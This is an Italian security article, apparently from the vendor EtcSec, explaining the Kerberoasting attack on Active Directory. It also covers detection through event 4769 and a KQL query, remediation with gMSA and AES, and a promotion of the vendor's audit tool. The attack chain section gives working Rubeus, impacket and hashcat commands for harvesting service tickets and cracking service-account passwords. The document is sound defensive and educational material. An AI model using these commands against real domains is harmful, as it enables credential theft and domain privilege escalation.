Cos'e il Kerberoasting?
Il Kerberoasting e una tecnica di attacco Active Directory che consente a qualsiasi utente autenticato del dominio di estrarre hash di password craccabili dagli account di servizio, senza alcun privilegio speciale.
L'attacco prende di mira gli account con un Service Principal Name (SPN) configurato. In Kerberos, qualsiasi utente del dominio puo richiedere un ticket di servizio (TGS) per qualsiasi SPN. Quel ticket e cifrato con l'hash NTLM dell'account di servizio. Un attaccante puo richiedere il ticket e craccarlo offline.
Nessun diritto elevato richiesto. Nessuna interazione con l'account target. Nessun avviso sul sistema target.
⚠️ Perche e grave: Gli account di servizio hanno spesso password che non scadono mai, impostate anni fa, senza gli stessi requisiti di complessita degli account utente.
Come Funziona
Quando un utente vuole accedere a un servizio, Kerberos emette un ticket TGS cifrato con l'hash NTLM dell'account che esegue quel servizio. Il KDC non verifica se l'utente richiedente ha effettivamente bisogno di accesso: emette semplicemente il ticket.
Qualsiasi utente del dominio puo raccogliere quanti ticket di servizio desidera, per qualsiasi SPN, senza alcun controllo di autorizzazione.
La Catena di Attacco
Fase 1 - Enumerare gli SPN
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName, PasswordLastSet, PasswordNeverExpires |
Select-Object SamAccountName, ServicePrincipalName, PasswordLastSet, PasswordNeverExpires
impacket-GetUserSPNs -dc-ip 10.10.0.1 corp.local/user:password
Target interessanti: account con PasswordNeverExpires = True, date PasswordLastSet vecchie, nomi leggibili come svc_sql, svc_backup.
Fase 2 - Richiedere i Ticket di Servizio
.\Rubeus.exe kerberoast /outfile:hashes.txt
impacket-GetUserSPNs -dc-ip 10.10.0.1 corp.local/user:password -request -outputfile hashes.txt
Fase 3 - Crackare Offline
# Modalita 13100 per RC4
hashcat -m 13100 hashes.txt /usr/share/wordlists/rockyou.txt --rules-file best64.rule
# Modalita 19700 per AES-256
hashcat -m 19700 hashes.txt /usr/share/wordlists/rockyou.txt
Fase 4 - Movimento Laterale e Escalation dei Privilegi
Una password di account di servizio craccata apre l'accesso a tutto cio a cui quell'account ha accesso. Se l'account e troppo privilegiato, puo significare un percorso diretto verso Domain Admin.
Rilevamento
Event ID di Windows
| Event ID | Fonte | Cosa osservare |
|---|---|---|
| 4769 | DC - Security | TGS richiesto con cifratura RC4 (0x17) quando AES e lo standard |
| 4769 | DC - Security | Molteplici richieste TGS per diversi SPN in poco tempo da un account |
Query SIEM (Elastic KQL)
event.code: "4769" AND
winlog.event_data.TicketEncryptionType: "0x17" AND
NOT winlog.event_data.ServiceName: ("krbtgt" OR "*$")
💡 Suggerimento: Applica AES esclusivo nel dominio. Qualsiasi richiesta RC4 diventa un avviso ad alta affidabilita.
Rimedio
💡 Azione Rapida: Controlla gli account di servizio con
PasswordNeverExpires = Truee ruota immediatamente qualsiasi password piu vecchia di un anno.
-
Password lunghe e forti - minimo 25 caratteri generati casualmente.
-
Group Managed Service Accounts (gMSA) - password da 240 caratteri gestite e ruotate automaticamente da AD.
New-ADServiceAccount -Name gMSA_SQL -DNSHostName sql.corp.local -PrincipalsAllowedToRetrieveManagedPassword "SQL_Servers"
Install-ADServiceAccount -Identity gMSA_SQL
- Applicare AES sugli account di servizio.
Set-ADUser -Identity svc_sql -Replace @{msDS-SupportedEncryptionTypes=24}
- Privilegio minimo - gli account di servizio devono avere solo le autorizzazioni necessarie per la loro funzione.
Come EtcSec Rileva Questo
EtcSec identifica le condizioni che rendono possibile il Kerberoasting prima che un attaccante le sfrutti.
Il rilevamento KERBEROASTING_RISK segnala tutti gli account con SPN configurato che sono vulnerabili a causa di una postura di password debole.
Controlli correlati:
- PASSWORD_NEVER_EXPIRES - le password che non scadono mai rimangono craccabili indefinitamente
- PASSWORD_POLICY_WEAK - una policy debole rende il cracking piu probabile
- KERBEROS_RC4_FALLBACK - RC4 ancora consentito accelera notevolmente il cracking
ℹ️ Nota: EtcSec verifica automaticamente queste vulnerabilita in ogni audit AD. Esegui un audit gratuito per vedere quali account di servizio sono esposti.
